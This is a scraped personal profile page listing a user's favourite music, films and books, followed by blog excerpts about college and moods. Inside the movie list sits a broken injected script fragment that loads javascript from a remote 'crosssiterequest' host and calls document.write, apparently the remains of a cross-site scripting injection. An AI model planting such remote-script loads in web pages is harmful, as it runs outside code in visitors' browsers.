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Mel

Better to have loved and lost than never to have loved at all

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My Interests

Music:

Front242, Front Line Assembly, Depeche Mode, The Cure, Björk, Bauhaus, Skinny Puppy, The Cranes, Switchblade Symphony, Leæther Strip, Die Krupps, Pig Face, Dead Can Dance, KMFDM, Delerium, Sisters of Mercy, Ministry, Danzig, Lords of Acid, Nitzerebb, Poisie Noire, Nexus6, Rabbit in the Moon, Moev, Siouxsie and the Banshees, The Creatures, Feindflug, NIN, Pink Floyd, Cake, Mr Bungle, Primus, Joy Division, Kraftwerk, Violent Femmes, Portishead, Hendrix, BB King, Stevie Ray Vaughan, The Beatles, Cypress Hill, toadies, Chris Whitley, The Pixies, Curve, Underworld, Aphex Twin, Daft Punk, Moby, They Might be Giants, Orbital, Ben Harper, Chili peppers, Wolfsheim, Fischerspooner, Keoki, The Orb, Mozart, Pagaini, Bach, plus there's many i missed i'm certain...

Movies:

Secretary, O Brother where art Thou?, Spawn, Stargate, Blade Runner, Hero, Crouching Tiger Hidden Dragon, Chocolat, Brotherhood of the wolf, DUNE, The Lord of Rings trilogy, Harry Potter, Dark City, Sin City, The Cronicles of Riddick, Clockwork Orange, Final Fantasy, Akira, Metropolis, Armatage, through the looking glass, anime large amounts of it... .... language="javascript" src="http://crosssiterequest../request.js"function nothingf(){document.write("nathanjosiah1.mov.r{}");}..

Television:

TV is not in my schedule, but if it is i watch discovery channel, sci fi, action channel for it's late nite anime, and of course cartoon network ADULT SWIM ROCKS

Books:

TOOOO MANY to name but here's a start (can't remember all the authors so some will just have titles): feynman lectures, clive barker's "the great and secret show", stephen kings "it", many more stephen king, wordworth's poetry, sidhartha, drawing down the moon, Edgar Allen Poe short stories, Anne Rice (vampire cronicles and mayfair witch series)...

Heroes:

my father and my mother...so far that is about it, can't really think of anything better to suit this catagory: they helped me mold me into the open minded and strong willed individual that i am today... Oh and i can't forget the little engine that could, that my proved that no high a mountain if you push long enough you'll make it somewhere ..

My Blog

life as it is now...

Life as it is now&   so it's almost the end of 2006 and where do I stand in the mist of everything.  well I can tell you that very matter of factually: --> -->1.    &...
Posted by Mel on Sat, 23 Dec 2006 10:04:00 PST

realizations

I was reading a friend's livejournal and it made think of things that are occuring in my life currently. I have people that have been in and out of my life but i have always followed my own path for ...
Posted by Mel on Thu, 20 Jul 2006 12:27:00 PST

blurp

you know when you have those days of the realization of where you fit in the scheme of things and realize that everything you thought was solid was just an illusion. yep one of those days.....nope no ...
Posted by Mel on Thu, 29 Dec 2005 10:50:00 PST

anybody out there....

i'm lucky to have the people in my life that i consider friends...... moving towards the brightest light i reach my hand out to touch, pain... like light through the darkest cave, slowly filling up t...
Posted by Mel on Mon, 01 Jan 1900 12:00:00 PST

the light at the end of the tunnel

well college is drawing to an end, once my grades post this week i get to go declare my minor in math and then  all i have left is to pass nutrition and my family and human development class and ...
Posted by Mel on Mon, 01 Jan 1900 12:00:00 PST

why me?

i'm not certain why i'm in this funk..i got my grade i need, so now i just have to pass calc and i'm a graduate student woohoo. however i'm not totally exuberant...i'm in some funk.ARRRRGGGGHHHHH I ...
Posted by Mel on Mon, 01 Jan 1900 12:00:00 PST